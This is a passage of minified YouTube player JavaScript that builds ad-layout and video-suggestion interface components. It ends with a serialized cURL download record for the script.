g.q.show=function(){ZJ.prototype.show.call(this);this.headline.show();this.moreInfoButton.show();var x;(x=this.C)==null||x.show();var T;(T=this.Z)==null||T.show()};g.P(gW,ZJ);gW.prototype.init=function(x,T){ZJ.prototype.init.call(this,x,T,{});if(T!=null&&T.gridCards)if(T.style!=="AD_GRID_CARD_COLLECTION_STYLE_FIXED_ONE_COLUMN")g.vW(Error("Only single column style is currently supported in AdGridCardCollection."));else for(x=g.S(T.gridCards),T=x.next();!T.done;T=x.next()){if(T=g.N(T.value,JM9)){var t=new PyV(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ);g.y(this,t);t.yU(this.element);t.init(sV("ad-grid-card-text"),T);this.C.push(t)}}else g.vW(Error("No grid cards found in AdGridCardCollection."))};
gW.prototype.show=function(){for(var x=g.S(this.C),T=x.next();!T.done;T=x.next())T.value.show();ZJ.prototype.show.call(this)};
gW.prototype.clear=function(){this.hide();for(var x=g.S(this.C),T=x.next();!T.done;T=x.next())T.value.clear()};
gW.prototype.hide=function(){for(var x=g.S(this.C),T=x.next();!T.done;T=x.next())T.value.hide();ZJ.prototype.hide.call(this)};g.P(Bh,fK);g.q=Bh.prototype;g.q.init=function(x,T,t,u,H){H=H===void 0?0:H;fK.prototype.init.call(this,x,T,t,u);this.playerProgressOffsetMs=H;wr(this);this.api.addEventListener("playerUnderlayVisibilityChange",this.zA.bind(this));this.api.addEventListener("resize",this.oh.bind(this));this.api.PJ()?(this.Z=!0,this.api.Qp(!0),this.show()):this.hide()};
g.q.Wm=function(){if(this.C){var x=this.C.getProgressState();x&&x.current&&!this.Z&&1E3*x.current>=this.playerProgressOffsetMs&&(this.Z=!0,this.api.Qp(!0),this.show())}};
g.q.ZX=function(){this.Z&&this.api.Qp(!1);this.hide()};
g.q.clear=function(){this.api.Qp(!1);this.api.removeEventListener("playerUnderlayVisibilityChange",this.zA.bind(this));this.api.removeEventListener("resize",this.oh.bind(this));KK(this);this.hide()};
g.q.hide=function(){SN3(!1);fK.prototype.hide.call(this)};
g.q.show=function(){SN3(!0);fK.prototype.show.call(this)};g.P(crD,Bh);g.q=crD.prototype;
g.q.init=function(x,T,t,u){if(T!=null&&T.adGridCardCollection)if(T!=null&&T.adButton){var H=Number(T.playerProgressOffsetMs||"0");isNaN(H)?Bh.prototype.init.call(this,x,T,t,u):Bh.prototype.init.call(this,x,T,t,u,H);x=T.headline;t=g.N(T.adAvatar,Ns);x&&t?(this.headline=new rJ(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),g.y(this,this.headline),this.headline.yU(this.Um("ytp-display-underlay-text-grid-cards__content_container__header__headline")),this.headline.init(sV("ad-simple-attributed-string"),new bJ(x)),
this.adAvatar=new V_(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),g.y(this,this.adAvatar),this.adAvatar.yU(this.Um("ytp-display-underlay-text-grid-cards__content_container__header__ad_avatar")),this.adAvatar.init(sV("ad-avatar"),t)):this.K.classList.remove("ytp-display-underlay-text-grid-cards__content_container__header");x=g.N(T.adGridCardCollection,Nyd);this.adGridCardCollection.init(sV("ad-grid-card-collection"),x);T=g.N(T.adButton,CL);this.adButton.init(sV("ad-button"),T);
this.hide()}else g.vW(Error("No button found in DisplayUnderlayTextGridCardsLayout."));else g.vW(Error("No grid cards found in DisplayUnderlayTextGridCardsLayout."))};
g.q.onClick=function(x){(this.adButton&&g.ux(this.adButton.element,x.target)||this.adAvatar&&g.ux(this.adAvatar.element,x.target))&&this.api.pauseVideo();Bh.prototype.onClick.call(this,x);this.api.onAdUxClicked(this.componentType,this.layoutId)};
g.q.oh=function(){};
g.q.clear=function(){this.hide();var x;(x=this.headline)==null||x.clear();var T;(T=this.adAvatar)==null||T.clear();this.adGridCardCollection.clear();this.adButton.clear();Bh.prototype.clear.call(this)};
g.q.show=function(){var x;(x=this.headline)==null||x.show();var T;(T=this.adAvatar)==null||T.show();this.adGridCardCollection.show();this.adButton.show();Bh.prototype.show.call(this)};
g.q.hide=function(){var x;(x=this.headline)==null||x.hide();var T;(T=this.adAvatar)==null||T.hide();this.adGridCardCollection.hide();this.adButton.hide();Bh.prototype.hide.call(this)};
g.q.zA=function(x){x==="transitioning"?(this.j.classList.remove("ytp-ad-underlay-clickable"),this.show()):x==="visible"?this.j.classList.add("ytp-ad-underlay-clickable"):x==="hidden"&&(this.hide(),this.j.classList.remove("ytp-ad-underlay-clickable"))};g.P(Wh,ZJ);
Wh.prototype.init=function(x,T){ZJ.prototype.init.call(this,x,T,{});if(T.attributes===void 0)g.vW(Error("No attributes found in AdDetailsLineViewModel."));else if(T.style===void 0)g.vW(Error("No style found in AdDetailsLineViewModel."));else{x=g.S(T.attributes);for(var t=x.next();!t.done;t=x.next())if(t=t.value,t.text!==void 0){t=t.text;var u=T.style,H=new rJ(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ);g.y(this,H);H.yU(this.element);a:switch(u){case "AD_DETAILS_LINE_STYLE_RESPONSIVE":u="ytp-ad-details-line__text--style-responsive";
break a;default:u="ytp-ad-details-line__text--style-standard"}H.element.classList.add(u);H.init(sV("ad-simple-attributed-string"),new bJ(t));this.C.push(H)}this.show()}};
Wh.prototype.show=function(){this.C.forEach(function(x){x.show()});
ZJ.prototype.show.call(this)};
Wh.prototype.clear=function(){this.hide()};
Wh.prototype.hide=function(){this.C.forEach(function(x){x.hide()});
ZJ.prototype.hide.call(this)};g.P(DV,ZJ);DV.prototype.init=function(x,T){ZJ.prototype.init.call(this,x,T,{});var t,u;(x=((u=YQ(((t=T.image)==null?void 0:t.sources)||[]))==null?void 0:u.url)||"")&&x.length?(t=this.Um("ytp-image-background-image"),g.Zt(t,"backgroundImage","url("+x+")"),T.blurLevel!==void 0&&g.Zt(t,"filter","blur("+T.blurLevel+"px)"),T.gradient!==void 0&&(T=new g.Q({L:"div",DZ:["ytp-image-background--gradient-vertical"]}),g.y(this,T),T.yU(this.element)),this.show()):g.vW(Error("Failed to get imageUrl in ImageBackground."))};
DV.prototype.clear=function(){this.hide()};g.P(YNX,fK);g.q=YNX.prototype;g.q.init=function(x,T){fK.prototype.init.call(this,x,T,{});g.Zt(this.j,"stroke-dasharray","0 "+this.Z);this.show()};
g.q.clear=function(){this.hide()};
g.q.hide=function(){KK(this);fK.prototype.hide.call(this)};
g.q.show=function(){wr(this);fK.prototype.show.call(this)};
g.q.ZX=function(){this.hide()};
g.q.Wm=function(){if(this.C){var x=this.C.getProgressState();x!=null&&x.current!=null&&g.Zt(this.j,"stroke-dasharray",x.current/x.seekableEnd*this.Z+" "+this.Z)}};g.P(y_,ZJ);
y_.prototype.init=function(x,T){ZJ.prototype.init.call(this,x,T,{});if(boD(T)){this.adAvatar=new V_(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ);g.y(this,this.adAvatar);this.adAvatar.yU(this.Um("ytp-video-interstitial-buttoned-centered-layout__content__lockup__ad-avatar-container"));this.adAvatar.init(sV("ad-avatar"),g.N(T.adAvatar,Ns));this.headline=new rJ(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ);g.y(this,this.headline);this.headline.yU(this.Um("ytp-video-interstitial-buttoned-centered-layout__content__lockup__headline-container"));this.headline.element.classList.add("ytp-video-interstitial-buttoned-centered-layout__content__lockup__headline");
this.headline.init(sV("ad-simple-attributed-string"),new bJ(T.headline));if(x=g.N(T.adDetailsLine,ByM))this.detailsLine=new Wh(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),g.y(this,this.detailsLine),this.detailsLine.yU(this.Um("ytp-video-interstitial-buttoned-centered-layout__content__lockup__details-line-container")),this.detailsLine.init(sV("ad-details-line"),x);this.adButton=new GB(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,!0);g.y(this,this.adButton);
this.adButton.yU(this.Um("ytp-video-interstitial-buttoned-centered-layout__content__lockup__ad-button-container"));this.adButton.init(sV("ad-button"),g.N(T.adButton,CL));x=this.api.B("disable_ad_preview_for_instream_ads");this.adBadge=new zK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,x);g.y(this,this.adBadge);this.adBadge.yU(this.K);this.adBadge.init(sV("ad-badge"),g.N(T.adBadge,Jz));this.adInfoButton=new Qo(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.element,
void 0,x);g.y(this,this.adInfoButton);this.adInfoButton.yU(this.K);this.adInfoButton.init(sV("ad-info-hover-text-button"),g.N(T.adInfoRenderer,GO),this.macros);if(x=g.N(T.skipAdButton,pEP))this.skipAdButton=new LL(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),g.y(this,this.skipAdButton),this.skipAdButton.yU(this.element),this.skipAdButton.init(sV("skip-button"),x);this.Z=new Pu(T.durationMilliseconds);g.y(this,this.Z);if(x=g.N(T.countdownViewModel,fdV))this.C=new YNX(this.api,
this.layoutId,this.interactionLoggingClientData,this.JQ,this.Z),g.y(this,this.C),this.C.yU(this.Um("ytp-video-interstitial-buttoned-centered-layout__timed-pie-countdown-container")),this.C.init(sV("timed-pie-countdown"),x);if(T=g.N(T.imageBackground,yMd))this.imageBackground=new DV(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),g.y(this,this.imageBackground),this.imageBackground.yU(this.element),this.imageBackground.element.classList.add("ytp-video-interstitial-buttoned-centered-layout__background-image-container"),
this.imageBackground.init(sV("image-background"),T);this.show();this.element.focus()}};
y_.prototype.clear=function(){g.zx(this.j);this.hide()};
y_.prototype.show=function(){UC4(!0);this.adAvatar&&this.adAvatar.show();this.headline&&this.headline.show();this.adButton&&this.adButton.show();this.skipAdButton&&this.skipAdButton.show();ZJ.prototype.show.call(this)};
y_.prototype.hide=function(){UC4(!1);this.adAvatar&&this.adAvatar.hide();this.headline&&this.headline.hide();this.adButton&&this.adButton.hide();this.detailsLine&&this.detailsLine.hide();this.adBadge&&this.adBadge.hide();this.adInfoButton&&this.adInfoButton.hide();this.skipAdButton&&this.skipAdButton.hide();this.C&&this.C.hide();this.imageBackground&&this.imageBackground.hide();ZJ.prototype.hide.call(this)};var YB9="ad-attribution-bar ad-channel-thumbnail advertiser-name ad-preview ad-title skip-button visit-advertiser".split(" ").concat("shopping-companion action-companion image-companion ads-engagement-panel ads-engagement-panel-layout banner-image top-banner-image-text-icon-buttoned".split(" "));g.P(Q_,DJ);
Q_.prototype.K=function(x){var T=x.id,t=x.content,u=t.componentType;if(!YB9.includes(u))switch(x.actionType){case 1:x=this.api;var H=this.JQ,I=t.layoutId,E=t.interactionLoggingClientData,Z=t instanceof fH?t.cq:!1,e=t instanceof fH||t instanceof A9?t.h_:!1;E=E===void 0?{}:E;Z=Z===void 0?!1:Z;e=e===void 0?!1:e;switch(u){case "invideo-overlay":x=new Neq(x,I,E,H);break;case "player-overlay":x=new GK(x,I,E,H,new tD(x),e);break;case "player-overlay-layout":x=new a5(x,I,E,H,new tD(x));break;case "survey":x=
new FL(x,I,E,H);break;case "ad-action-interstitial":x=new gnX(x,I,E,H,Z,e);break;case "video-interstitial-buttoned-centered":x=new y_(x,I,E,H);break;case "survey-interstitial":x=new hz(x,I,E,H);break;case "ad-message":x=new KmC(x,I,E,H,new tD(x,1));break;case "player-underlay":x=new xC3(x,I,E,H);break;case "display-underlay-text-grid-cards":x=new crD(x,I,E,H,new tD(x));break;default:x=null}if(!x){g.Vh(Error("No UI component returned from ComponentFactory for type: "+u));break}g.UA(this.Z,T)?g.Vh(Error("Ad UI component already registered: "+
T)):this.Z[T]=x;x.bind(t);t instanceof pH?this.j?this.j.append(x.EH):g.Vh(Error("Underlay view was not created but UnderlayRenderer was created")):this.T.append(x.EH);break;case 2:T=rrX(this,x);if(T==null)break;T.bind(t);break;case 3:t=rrX(this,x),t!=null&&(g.IP(t),g.UA(this.Z,T)?(t=this.Z,T in t&&delete t[T]):g.Vh(Error("Ad UI component does not exist: "+T)))}};
Q_.prototype.oU=function(){g.Eh(Object.values(this.Z));this.Z={};DJ.prototype.oU.call(this)};g.P(zpf,g.r_);g.q=zpf.prototype;g.q.create=function(){try{kP5(this),this.load(),this.created=!0,kP5(this)}catch(x){E3(x instanceof Error?x:String(x))}};
g.q.load=function(){try{vHi(this)}finally{K6(S4(this.C).MC)&&this.player.Do("ad",1)}};
g.q.destroy=function(){var x=this.player.getVideoData(1);this.C.C.P1.Sf(x&&x.clientPlaybackNonce||"");this.unload();this.created=!1};
g.q.unload=function(){g.r_.prototype.unload.call(this);try{this.player.getRootNode().classList.remove("ad-created")}catch(T){E3(T instanceof Error?T:String(T))}if(this.Z!=null){var x=this.Z;this.Z=null;x.dispose()}this.j.reset()};
g.q.uy=function(){return!1};
g.q.getAdState=function(){return-1};
g.q.getOptions=function(){return Object.values(cZd)};
g.q.jF=function(x,T){T=T===void 0?{}:T;switch(x){case "replaceUrlMacros":return x=T,x.url?(T=fnJ(this.player),Object.assign(T,x.xpm),x=g.h_(x.url,T)):x=null,x;case "onAboutThisAdPopupClosed":this.E$(T);break;case "executeCommand":x=T;x.command&&x.layoutId&&this.executeCommand(x);break;default:return null}};
g.q.a9=function(x){var T;return!((T=this.C.C.CF)==null||!T.get().a9(x))};
g.q.E$=function(x){x.isMuted&&Ixq(S4(this.C).Y$,S4(this.C).HB,x.layoutId);this.q4&&this.q4.E$()};
g.q.executeCommand=function(x){S4(this.C).JQ.executeCommand(x.command,x.layoutId)};g.DC("yt.player.Application.create",g.Rb.create);g.DC("yt.player.Application.createAlternate",g.Rb.create);gi4(zM(),SB9);var UQ9=g.yJ("ytcsi.tick");UQ9&&UQ9("pe");g.b8("ad",zpf);g.P(g.fL,g.W);g.fL.prototype.start=function(x,T,t){this.config={from:x,n$:T,duration:t,startTime:(0,g.bo)()};this.next()};
g.fL.prototype.stop=function(){this.delay.stop();this.config=void 0};
g.fL.prototype.next=function(){if(this.config){var x=this.config,T=x.from,t=x.n$,u=x.duration;x=x.startTime;var H=(0,g.bo)()-x;x=this.C;u=Q_C(x,H/u);if(u==0)x=x.N;else if(u==1)x=x.J;else{H=Z3(x.N,x.T,u);var I=Z3(x.T,x.D,u);x=Z3(x.D,x.J,u);H=Z3(H,I,u);I=Z3(I,x,u);x=Z3(H,I,u)}x=g.iu(x,0,1);this.callback(T+(t-T)*x);x<1&&this.delay.start()}};g.P(g.wW,g.Q);g.q=g.wW.prototype;g.q.hasSuggestions=function(){return this.suggestionData.length>0};
g.q.n1=function(){this.Z&&this.scrollTo(this.scrollPosition-this.containerWidth)};
g.q.show=function(){g.Q.prototype.show.call(this);gH4(this)};
g.q.gH=function(){this.Z&&this.scrollTo(this.scrollPosition+this.containerWidth)};
g.q.UR=function(){this.C2(this.api.bG().getPlayerSize())};
g.q.C2=function(x){var T=this.api.isEmbedsShortsMode()?.5625:16/9,t=this.api.ew();x=x.width-(t?112:58);t=Math.ceil(x/(t?320:192));var u=(x-t*8)/t;T=Math.floor(u/T);for(var H=g.S(this.C),I=H.next();!I.done;I=H.next())I=I.value.Um("ytp-suggestion-image"),I.style.width=u+"px",I.style.height=T+"px";this.suggestions.element.style.height=T+"px";this.K=u;this.J=T;this.containerWidth=x;this.columns=t;this.scrollPosition=0;this.suggestions.element.scrollLeft=-0;g.KL(this)};
g.q.onVideoDataChange=function(){var x=this.api.Y(),T=this.api.getVideoData();this.D=T.E0?!1:x.K;this.suggestionData=T.suggestions?g.ES(T.suggestions,function(t){return t&&!t.playlistId}):[];
WTD(this);T.E0?this.title.update({title:g.MA("More videos from $DNI_RELATED_CHANNEL",{DNI_RELATED_CHANNEL:T.author})}):this.title.update({title:this.api.isEmbedsShortsMode()?"More shorts":"More videos"})};
g.q.scrollTo=function(x){x=g.iu(x,this.containerWidth-this.suggestionData.length*(this.K+8),0);this.N.start(this.scrollPosition,x,1E3);this.scrollPosition=x;g.KL(this);gH4(this)};})(_yt_player);
";s:5:"error";s:0:"";s:4:"info";O:13:"Curl\CurlInfo":1:{s:7:"*info";a:26:{s:3:"url";s:73:"https://www.youtube.com/s/player/56511309/player_ias.vflset/en_US/base.js";s:12:"content_type";s:15:"text/javascript";s:9:"http_code";i:200;s:11:"header_size";i:690;s:12:"request_size";i:496;s:8:"filetime";i:-1;s:17:"ssl_verify_result";i:0;s:14:"redirect_count";i:0;s:10:"total_time";d:0.634292;s:15:"namelookup_time";d:0.061376;s:12:"connect_time";d:0.103851;s:16:"pretransfer_time";d:0.169822;s:11:"size_upload";d:0;s:13:"size_download";d:823351;s:14:"speed_download";d:1298063;s:12:"speed_upload";d:0;s:23:"download_content_length";d:823351;s:21:"upload_content_length";d:0;s:18:"starttransfer_time";d:0.213377;s:13:"redirect_time";d:0;s:12:"redirect_url";s:0:"";s:10:"primary_ip";s:14:"142.250.197.14";s:8:"certinfo";a:0:{}s:12:"primary_port";i:443;s:8:"local_ip";s:14:"45.252.249.168";s:10:"local_port";i:57762;}}}

ZeroDay Forums Mini